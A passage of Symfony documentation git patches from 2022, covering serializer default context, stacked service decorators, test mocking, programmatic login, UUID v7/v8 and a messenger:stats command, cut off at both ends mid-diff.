             {# If you want to control the URL the user is redirected to on success
-            <input type="hidden" name="_target_path" value="/account"/> #}
+            <input type="hidden" name="_target_path" value="/account"> #}
 
             <button type="submit">login</button>
         </form>

From 664bc4b79ef054fc88c2ea616d3c5a4769bcb5ff Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Fri, 30 Sep 2022 17:15:30 +0200
Subject: [PATCH 2359/5766] document serializer default_context

---
 reference/configuration/framework.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 56b19ab150c..06df82f51ef 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2836,6 +2836,19 @@ paths
 This option allows to define an array of paths with files or directories where
 the component will look for additional serialization files.
 
+default_context
+...............
+
+**type**: ``array`` **default**: ``[]``
+
+A map with default context options that will be used with each ``serialize`` and ``deserialize``
+call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
+to a `json_encode flags bitmask`_.
+
+.. versionadded:: 5.4
+
+    The ``default_context`` parameter was introduced in Symfony 5.4.
+
 php_errors
 ~~~~~~~~~~
 
@@ -3612,6 +3625,7 @@ use the configuration of the first exception that matches ``instanceof``:
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
 .. _`gulp-rev`: https://www.npmjs.com/package/gulp-rev
 .. _`webpack-manifest-plugin`: https://www.npmjs.com/package/webpack-manifest-plugin
+.. _`json_encode flags bitmask`: https://www.php.net/json_encode
 .. _`error_reporting PHP option`: https://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting
 .. _`CSRF security attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`session.sid_length PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-length

From 02ae0a5da61d8c3ecb8bb2cc766e748e2e3dbc0f Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 25 Sep 2022 11:07:48 +0200
Subject: [PATCH 2360/5766] [DependencyInjection] Document `stack` definitions

---
 service_container/service_decoration.rst | 249 +++++++++++++++++++++--
 1 file changed, 235 insertions(+), 14 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 4c7f2ed0158..06f7a0df1ab 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -258,17 +258,18 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
     .. code-block:: yaml
 
         # config/services.yaml
-        Foo: ~
+        services:
+            Foo: ~
 
-        Bar:
-            decorates: Foo
-            decoration_priority: 5
-            arguments: ['@.inner']
+            Bar:
+                decorates: Foo
+                decoration_priority: 5
+                arguments: ['@.inner']
 
-        Baz:
-            decorates: Foo
-            decoration_priority: 1
-            arguments: ['@.inner']
+            Baz:
+                decorates: Foo
+                decoration_priority: 1
+                arguments: ['@.inner']
 
     .. code-block:: xml
 
@@ -300,14 +301,14 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set(Foo::class);
+            $services->set(\Foo::class);
 
-            $services->set(Bar::class)
-                ->decorate(Foo::class, null, 5)
+            $services->set(\Bar::class)
+                ->decorate(\Foo::class, null, 5)
                 ->args([service('.inner')]);
 
-            $services->set(Baz::class)
-                ->decorate(Foo::class, null, 1)
+            $services->set(\Baz::class)
+                ->decorate(\Foo::class, null, 1)
                 ->args([service('.inner')]);
         };
 
@@ -316,6 +317,226 @@ The generated code will be the following::
 
     $this->services[Foo::class] = new Baz(new Bar(new Foo()));
 
+Stacking Decorators
+-------------------
+
+An alternative to using decoration priorities is to create a ``stack`` of
+ordered services, each one decorating the next:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            decorated_foo_stack:
+                stack:
+                    - class: Baz
+                      arguments: ['@.inner']
+                    - class: Bar
+                      arguments: ['@.inner']
+                    - class: Foo
+
+            # using the short syntax:
+            decorated_foo_stack:
+                stack:
+                    - Baz: ['@.inner']
+                    - Bar: ['@.inner']
+                    - Foo: ~
+
+            # can be simplified when autowiring is enabled:
+            decorated_foo_stack:
+                stack:
+                    - Baz: ~
+                    - Bar: ~
+                    - Foo: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <services>
+                <stack id="decorated_foo_stack">
+                    <service class="Baz">
+                        <argument type="service" id=".inner"/>
+                    </service>
+                    <service class="Bar">
+                        <argument type="service" id=".inner"/>
+                    </service>
+                    <service class="Foo"/>
+                </stack>
+
+                <!-- can be simplified when autowiring is enabled: -->
+                <stack id="decorated_foo_stack">
+                    <service class="Baz"/>
+                    <service class="Bar"/>
+                    <service class="Foo"/>
+                </stack>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $container) {
+            $container->services()
+                ->stack('decorated_foo_stack', [
+                    inline_service(\Baz::class)->args([service('.inner')]),
+                    inline_service(\Bar::class)->args([service('.inner')]),
+                    inline_service(\Foo::class),
+                ])
+
+                // can be simplified when autowiring is enabled:
+                ->stack('decorated_foo_stack', [
+                    inline_service(\Baz::class),
+                    inline_service(\Bar::class),
+                    inline_service(\Foo::class),
+                ])
+            ;
+        };
+
+The result will be the same as in the previous section::
+
+    $this->services['decorated_foo_stack'] = new Baz(new Bar(new Foo()));
+
+Like aliases, a ``stack`` can only use ``public`` and ``deprecated`` attributes.
+
+Each frame of the ``stack`` can be either an inlined service, a reference or a
+child definition.
+The latter allows embedding ``stack`` definitions into each others, here's an
+advanced example of composition:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            some_decorator:
+                class: App\Decorator
+
+            embedded_stack:
+                stack:
+                    - alias: some_decorator
+                    - App\Decorated: ~
+
+            decorated_foo_stack:
+                stack:
+                    - parent: embedded_stack
+                    - Baz: ~
+                    - Bar: ~
+                    - Foo: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <services>
+                <service id="some_decorator" class="App\Decorator"/>
+
+                <stack id="embedded_stack">
+                    <service alias="some_decorator"/>
+                    <service class="App\Decorated"/>
+                </stack>
+
+                <stack id="decorated_foo_stack">
+                    <service parent="embedded_stack"/>
+                    <service class="Baz"/>
+                    <service class="Bar"/>
+                    <service class="Foo"/>
+                </stack>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Decorated;
+        use App\Decorator;
+
+        return function(ContainerConfigurator $container) {
+            $container->services()
+                ->set('some_decorator', Decorator::class)
+
+                ->stack('embedded_stack', [
+                    service('some_decorator'),
+                    inline_service(Decorated::class),
+                ])
+
+                ->stack('decorated_foo_stack', [
+                    inline_service()->parent('embedded_stack'),
+                    inline_service(\Baz::class),
+                    inline_service(\Bar::class),
+                    inline_service(\Foo::class),
+                ])
+            ;
+        };
+
+The result will be::
+
+    $this->services['decorated_foo_stack'] = new App\Decorator(new App\Decorated(new Baz(new Bar(new Foo()))));
+
+.. note::
+
+    To change existing stacks (i.e. from a compiler pass), you can access each
+    frame by its generated id with the following structure:
+    ``.stack_id.frame_key``.
+    From the example above, ``.decorated_foo_stack.1`` would be a reference to
+    the inlined ``Baz`` service and ``.decorated_foo_stack.0`` to the embedded
+    stack.
+    To get more explicit ids, you can give a name to each frame:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # ...
+            decorated_foo_stack:
+                stack:
+                    first:
+                        parent: embedded_stack
+                    second:
+                        Baz: ~
+                    # ...
+
+        .. code-block:: xml
+
+            <!-- ... -->
+            <stack id="decorated_foo_stack">
+                <service id="first" parent="embedded_stack"/>
+                <service id="second" class="Baz"/>
+                <!-- ... -->
+            </stack>
+
+        .. code-block:: php
+
+            // ...
+            ->stack('decorated_foo_stack', [
+                'first' => inline_service()->parent('embedded_stack'),
+                'second' => inline_service(\Baz::class),
+                // ...
+            ])
+
+    The ``Baz`` frame id will now be ``.decorated_foo_stack.second``.
+
+.. versionadded:: 5.1
+
+    The ability to define ``stack`` was introduced in Symfony 5.1.
+
 Control the Behavior When the Decorated Service Does Not Exist
 --------------------------------------------------------------
 

From 875662dd3f0b2ed399ec5e7e9724c7953c6538b6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 1 Oct 2022 10:28:05 +0200
Subject: [PATCH 2361/5766] Cleanup old versionadded directives

---
 .doctor-rst.yaml                      | 1 -
 reference/configuration/framework.rst | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 12b4aa2a573..7323d53d1dd 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,7 +88,6 @@ whitelist:
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
-        - '.. versionadded:: 5.1' # Private Services
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 06b392405b5..5835aec90e6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2733,10 +2733,6 @@ A map with default context options that will be used with each ``serialize`` and
 call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
 to a `json_encode flags bitmask`_.
 
-.. versionadded:: 5.4
-
-    The ``default_context`` parameter was introduced in Symfony 5.4.
-
 php_errors
 ~~~~~~~~~~
 

From 852aa117f118266165966a2a7710d3a5be7e326d Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Thu, 29 Sep 2022 15:22:39 +0200
Subject: [PATCH 2362/5766] document default context for the serializer

---
 reference/configuration/framework.rst | 3 +++
 serializer.rst                        | 7 +++++--
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3300088b309..0fde90a9777 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2752,6 +2752,9 @@ A map with default context options that will be used with each ``serialize`` and
 call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
 to a `json_encode flags bitmask`_.
 
+You can inspect the :ref:`serializer context builders <serializer-using-context-builders>`
+to discover the available settings.
+
 php_errors
 ~~~~~~~~~~
 
diff --git a/serializer.rst b/serializer.rst
index 84f39f49f56..a27ecccecb3 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -130,6 +130,7 @@ configuration:
             serializer:
                 default_context:
                     enable_max_depth: true
+                    yaml_indentation: 2
 
     .. code-block:: xml
 
@@ -137,7 +138,7 @@ configuration:
         <framework:config>
             <!-- ... -->
             <framework:serializer>
-                <default-context enable-max-depth="true"/>
+                <default-context enable-max-depth="true" yaml-indentation="2"/>
             </framework:serializer>
         </framework:config>
 
@@ -146,11 +147,13 @@ configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+        use Symfony\Component\Serializer\Encoder\YamlEncoder;
 
         return static function (FrameworkConfig $framework) {
             $framework->serializer()
                 ->defaultContext([
-                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
+                    YamlEncoder::YAML_INDENTATION => 2,
                 ])
             ;
         };

From 917c9dbc8942c60f53590fa8f5ca0834fbc88cfb Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 1 Oct 2022 11:48:13 +0200
Subject: [PATCH 2363/5766] [Testing] Add a section to mock service
 dependencies

---
 testing.rst | 86 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 86 insertions(+)

diff --git a/testing.rst b/testing.rst
index 683998543ec..adbd28989ae 100644
--- a/testing.rst
+++ b/testing.rst
@@ -280,6 +280,92 @@ It gives you access to both the public services and the non-removed
     are not used by any other services), you need to declare those private
     services as public in the ``config/services_test.yaml`` file.
 
+Mocking Dependencies
+--------------------
+
+Sometimes it can be useful to mock a dependency of a tested service.
+
+From the example in the previous section, let's assume the
+``NewsletterGenerator`` has a dependency to a private alias
+``NewsRepositoryInterface`` pointing to a private ``NewsRepository`` service
+and we would like to use a mocked ``NewsRepositoryInterface`` instead of the
+concrete one::
+
+    // ...
+    use App\Contracts\Repository\NewsRepositoryInterface;
+
+    class NewsletterGeneratorTest extends KernelTestCase
+    {
+        public function testSomething()
+        {
+            // ... same bootstrap as the section above
+
+            $newsRepository = $this->createMock(NewsRepositoryInterface::class);
+            $newsRepository->expects(self::once())
+                ->method('findNewsFromLastMonth')
+                ->willReturn([
+                    new News('some news'),
+                    new News('some other news'),
+                ])
+            ;
+
+            // the following line won't work unless the alias is made public
+            $container->set(NewsRepositoryInterface::class, $newsRepository);
+
+            // will be injected the mocked repository
+            $newsletterGenerator = $container->get(NewsletterGenerator::class);
+
+            // ...
+        }
+    }
+
+In order to make the alias public, you will need to update configuration for
+the ``test`` environment as follow:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services_test.yaml
+        services:
+            # redefine the alias as it should be while making it public
+            App\Contracts\Repository\NewsRepositoryInterface:
+                alias: App\Repository\NewsRepository
+                public: true
+
+    .. code-block:: xml
+
+        <!-- config/services_test.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+        ">
+            <services>
+                <!-- redefine the alias as it should be while making it public -->
+                <service id="App\Contracts\Repository\NewsRepositoryInterface"
+                    alias="App\Repository\NewsRepository"
+                />
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Contracts\Repository\NewsRepositoryInterface;
+        use App\Repository\NewsRepository;
+
+        return static function (ContainerConfigurator $container) {
+            $container->services()
+                // redefine the alias as it should be while making it public
+                ->alias(NewsRepositoryInterface::class, NewsRepository::class)
+                    ->public()
+            ;
+        };
+
 .. _testing-databases:
 
 Configuring a Database for Tests

From 1d92b8ef4c86d7f784d862dc4798c4ac2952a8c2 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Tue, 19 Jul 2022 10:17:44 +0200
Subject: [PATCH 2364/5766] [Translator] Fix example of using ICU message
 directly in code

---
 translation/message_format.rst | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index a718c75ca38..fd817a94d9d 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -187,6 +187,8 @@ you to use literal text in the select statements:
     It's possible to translate ICU MessageFormat messages directly in code,
     without having to define them in any file::
 
+        use Symfony\Component\Translation\MessageCatalogueInterface;
+
         $invitation = '{organizer_gender, select,
             female   {{organizer_name} has invited you to her party!}
             male     {{organizer_name} has invited you to his party!}
@@ -195,10 +197,15 @@ you to use literal text in the select statements:
         }';
 
         // prints "Ryan has invited you to his party!"
-        echo $translator->trans($invitation, [
-            'organizer_name' => 'Ryan',
-            'organizer_gender' => 'male',
-        ]);
+        echo $translator->trans(
+            $invitation,
+            [
+                'organizer_name' => 'Ryan',
+                'organizer_gender' => 'male',
+            ],
+            // Appends the required suffix "+intl-icu" to the domain
+            'messages'.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX
+        );
 
 .. _component-translation-pluralization:
 

From 600858716c5a2a57fa4c0420994f40b9a4c3a2ba Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sat, 1 Oct 2022 16:50:04 +0200
Subject: [PATCH 2365/5766] Mailer: remove port 99 for requestbin.com

---
 mailer.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 9f81cedc91a..d03bbef5a33 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,7 +174,6 @@ Sendgrid             sendgrid+smtp://KEY@default                n/a
 
         # .env
         MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com:99
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 

From b63ccf7639de34e379cf82b6b980d07a9467ae86 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Arnaud=20Fr=C3=A9zet?= <arnaud@les-tilleuls.coop>
Date: Wed, 21 Sep 2022 11:55:04 +0200
Subject: [PATCH 2366/5766] [Security] Add documentation for programmatic login

---
 security.rst | 46 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/security.rst b/security.rst
index c70b01d8652..e098fa864e1 100644
--- a/security.rst
+++ b/security.rst
@@ -1599,6 +1599,52 @@ and set the ``limiter`` option to its service ID:
             ;
         };
 
+Login Programmatically
+----------------------
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    class was introduced in Symfony 6.2. Prior to 6.2, it was called
+    ``Symfony\Component\Security\Core\Security``.
+
+.. versionadded:: 6.2
+
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::login`
+    method was introduced in Symfony 6.2.
+
+You can log in a user programmatically using the `login()` method of the
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller\SecurityController;
+
+    use App\Security\Authenticator\ExampleAuthenticator;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
+
+    class SecurityController
+    {
+        public function someAction(Security $security): Response
+        {
+            // get the user to be authenticated
+            $user = ...;
+
+            // log the user in on the current firewall
+            $this->security->login($user);
+
+            // if the firewall has more than one authenticator, you must pass it explicitly
+            // by using the name of built-in authenticators...
+            $this->security->login($user, 'form_login');
+            // ...or the service id of custom authenticators
+            $this->security->login($user, ExampleAuthenticator::class);
+
+            // you can also log in on a different firewall
+            $this->security->login($user, 'form_login', 'other_firewall');
+
+            // ... redirect the user to its account page for instance
+        }
+    }
+
 .. _security-logging-out:
 
 Logging Out

From 24b9b1d0e780cbbc84ac3cf94a567fe8c876478c Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Tue, 6 Sep 2022 12:32:06 +0200
Subject: [PATCH 2367/5766] Document the `framework.router.cache_dir` setting

---
 reference/configuration/framework.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 57011f4dd29..7830deac76c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1495,6 +1495,18 @@ If the charset of your application is UTF-8 (as defined in the
 recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
 errors.
 
+cache_dir
+.........
+
+**type**: ``string`` **default**: ``%kernel.cache_dir%``
+
+The directory where routing information will be cached. Can be set to
+``~`` (``null``) to disable route caching.
+
+.. versionadded:: 6.2
+
+    The ``cache_dir`` setting was introduced in Symfony 6.2.
+
 .. _config-framework-session:
 
 session

From 5222e73beb79ed9e9750fa0f6c0f1d0798a59f4d Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Sun, 2 Oct 2022 20:38:08 +0200
Subject: [PATCH 2368/5766] [Uuid] 17258 Add documentation for Uuid 7 and 8

---
 components/uid.rst             | 16 ++++++++++++++++
 reference/constraints/Uuid.rst | 12 +++++++++---
 2 files changed, 25 insertions(+), 3 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 8e78fe76da4..d464f7c3796 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -63,6 +63,22 @@ to create each type of UUID::
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
+    // UUID version 7 features a time-ordered value field derived from the widely implemented and well known
+    // Unix Epoch timestamp source, the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
+    // As well as improved entropy characteristics over versions 1 or 6.
+    $uuid = Uuid::v7();
+
+    // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
+    // The only requirement is that the variant and version bits
+    // MUST be set as defined in Section 4:
+    // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
+    // UUIDv8's uniqueness will be implementation-specific and SHOULD NOT be assumed.
+    $uuid = Uuid::v8();
+
+.. versionadded:: 6.2
+
+    Versions 7 and 8 were introduced in Symfony 6.2.
+
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
 
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index fff97d10171..06fdbb86147 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -112,9 +112,9 @@ will allow alternate input formats like:
 ``versions``
 ~~~~~~~~~~~~
 
-**type**: ``int[]`` **default**: ``[1,2,3,4,5,6]``
+**type**: ``int[]`` **default**: ``[1,2,3,4,5,6,7,8]``
 
-This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 6.
+This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 8.
 The following PHP constants can also be used:
 
 * ``Uuid::V1_MAC``
@@ -123,8 +123,14 @@ The following PHP constants can also be used:
 * ``Uuid::V4_RANDOM``
 * ``Uuid::V5_SHA1``
 * ``Uuid::V6_SORTABLE``
+* ``Uuid::V7_MONOTONIC``
+* ``Uuid::V8_CUSTOM``
 
-All six versions are allowed by default.
+.. versionadded:: 6.2
+
+    Versions 7 and 8 were introduced in Symfony 6.2.
+
+All versions are allowed by default.
 
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122

From a0ee1ece42e7304c4d39d1dea0d4c80a37f16959 Mon Sep 17 00:00:00 2001
From: ayacoo <info@ayacoo.de>
Date: Sun, 2 Oct 2022 12:04:40 +0200
Subject: [PATCH 2369/5766] [Console] Update console.rst

---
 console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/console.rst b/console.rst
index 5e1aed7e791..5051f6f625e 100644
--- a/console.rst
+++ b/console.rst
@@ -334,6 +334,12 @@ method, which returns an instance of
             $section1->clear(2);
             // Output is now completely empty!
 
+            // Allow limiting the height of a console section
+            $section1->setMaxHeight(2);
+            $section1->writeln('Line1');
+            $section1->writeln('Line2');
+            $section1->writeln('Line3');
+
             return Command::SUCCESS;
         }
     }
@@ -342,6 +348,10 @@ method, which returns an instance of
 
     A new line is appended automatically when displaying information in a section.
 
+.. versionadded:: 6.2
+
+    Allow limiting the height of a console section was introduced in Symfony 6.2.
+
 Output sections let you manipulate the Console output in advanced ways, such as
 :ref:`displaying multiple progress bars <console-multiple-progress-bars>` which
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`

From 480c2b580e7769cf51df8a6b200c7be58cca09fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 09:45:55 +0200
Subject: [PATCH 2370/5766] Minor tweaks

---
 console.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 5051f6f625e..5f7e33390d4 100644
--- a/console.rst
+++ b/console.rst
@@ -334,7 +334,7 @@ method, which returns an instance of
             $section1->clear(2);
             // Output is now completely empty!
 
-            // Allow limiting the height of a console section
+            // setting the max height of a section will make new lines replace the old ones
             $section1->setMaxHeight(2);
             $section1->writeln('Line1');
             $section1->writeln('Line2');
@@ -350,7 +350,7 @@ method, which returns an instance of
 
 .. versionadded:: 6.2
 
-    Allow limiting the height of a console section was introduced in Symfony 6.2.
+    The feature to limit the height of a console section was introduced in Symfony 6.2.
 
 Output sections let you manipulate the Console output in advanced ways, such as
 :ref:`displaying multiple progress bars <console-multiple-progress-bars>` which

From 6d84eefccd905e791aba72f2700366a21f623122 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 2 Oct 2022 10:12:47 +0200
Subject: [PATCH 2371/5766] [Messenger] Add new `messenger:stats` command that
 return a list of transports with their "to be processed" message count.

---
 messenger.rst | 31 +++++++++++++++++++++++++++++--
 1 file changed, 29 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 65d9da096ed..508e20f363a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -640,8 +640,35 @@ You can limit the worker to only process messages from specific queue(s):
     # you can pass the --queues option more than once to process multiple queues
     $ php bin/console messenger:consume my_transport --queues=fasttrack1 --queues=fasttrack2
 
-To allow using the ``queues`` option, the receiver must implement the
-:class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+.. note::
+
+    To allow using the ``queues`` option, the receiver must implement the
+    :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+
+.. _messenger-message-count:
+
+Knowing the number of messages in the "queue" for transport(s)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to know how many messages are in the "queues",
+you can do so with the ``messenger:stats`` command:
+
+.. code-block:: terminal
+
+    # displays the number of messages in the "queue" for all transports
+    $ php bin/console messenger:stats
+
+    # or specific transport(s) only
+    $ php bin/console messenger:stats my_transport_name other_transport_name
+
+.. note::
+    
+    This command won't work if the configured transport's receiver does not implement
+    :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
+
+.. versionadded:: 6.2
+
+    The ``messenger:stats`` command was introduced in Symfony 6.2.
 
 .. _messenger-supervisor:
 

From 0d8bd19e046ad486db0538f1c67e697f56be400e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 10:10:19 +0200
Subject: [PATCH 2372/5766] Minor rewords

---
 messenger.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 508e20f363a..94e7df74aa7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -647,23 +647,23 @@ You can limit the worker to only process messages from specific queue(s):
 
 .. _messenger-message-count:
 
-Knowing the number of messages in the "queue" for transport(s)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Checking the Number of Queued Messages Per Transport
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to know how many messages are in the "queues",
-you can do so with the ``messenger:stats`` command:
+Run the ``messenger:stats`` command to know how many messages are in the "queues"
+of some or all transports:
 
 .. code-block:: terminal
 
-    # displays the number of messages in the "queue" for all transports
+    # displays the number of queued messages in all transports
     $ php bin/console messenger:stats
 
-    # or specific transport(s) only
+    # shows stats only for some transports
     $ php bin/console messenger:stats my_transport_name other_transport_name
 
 .. note::
     
-    This command won't work if the configured transport's receiver does not implement
+    In order for this command to work, the configured transport's receiver must implement
     :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
 
 .. versionadded:: 6.2

From f419727db3e2b1efb4306de0bd47b57f22a6ad7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 10:42:35 +0200
Subject: [PATCH 2373/5766] Minor tweaks

---
 components/uid.rst             | 9 ++++-----
 reference/constraints/Uuid.rst | 9 ++++-----
 2 files changed, 8 insertions(+), 10 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index d464f7c3796..ab96074487b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -63,21 +63,20 @@ to create each type of UUID::
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
-    // UUID version 7 features a time-ordered value field derived from the widely implemented and well known
-    // Unix Epoch timestamp source, the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
+    // UUID version 7 features a time-ordered value field derived from the well known
+    // Unix Epoch timestamp source: the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
     // As well as improved entropy characteristics over versions 1 or 6.
     $uuid = Uuid::v7();
 
     // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
-    // The only requirement is that the variant and version bits
-    // MUST be set as defined in Section 4:
+    // The only requirement is that the variant and version bits MUST be set as defined in Section 4:
     // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
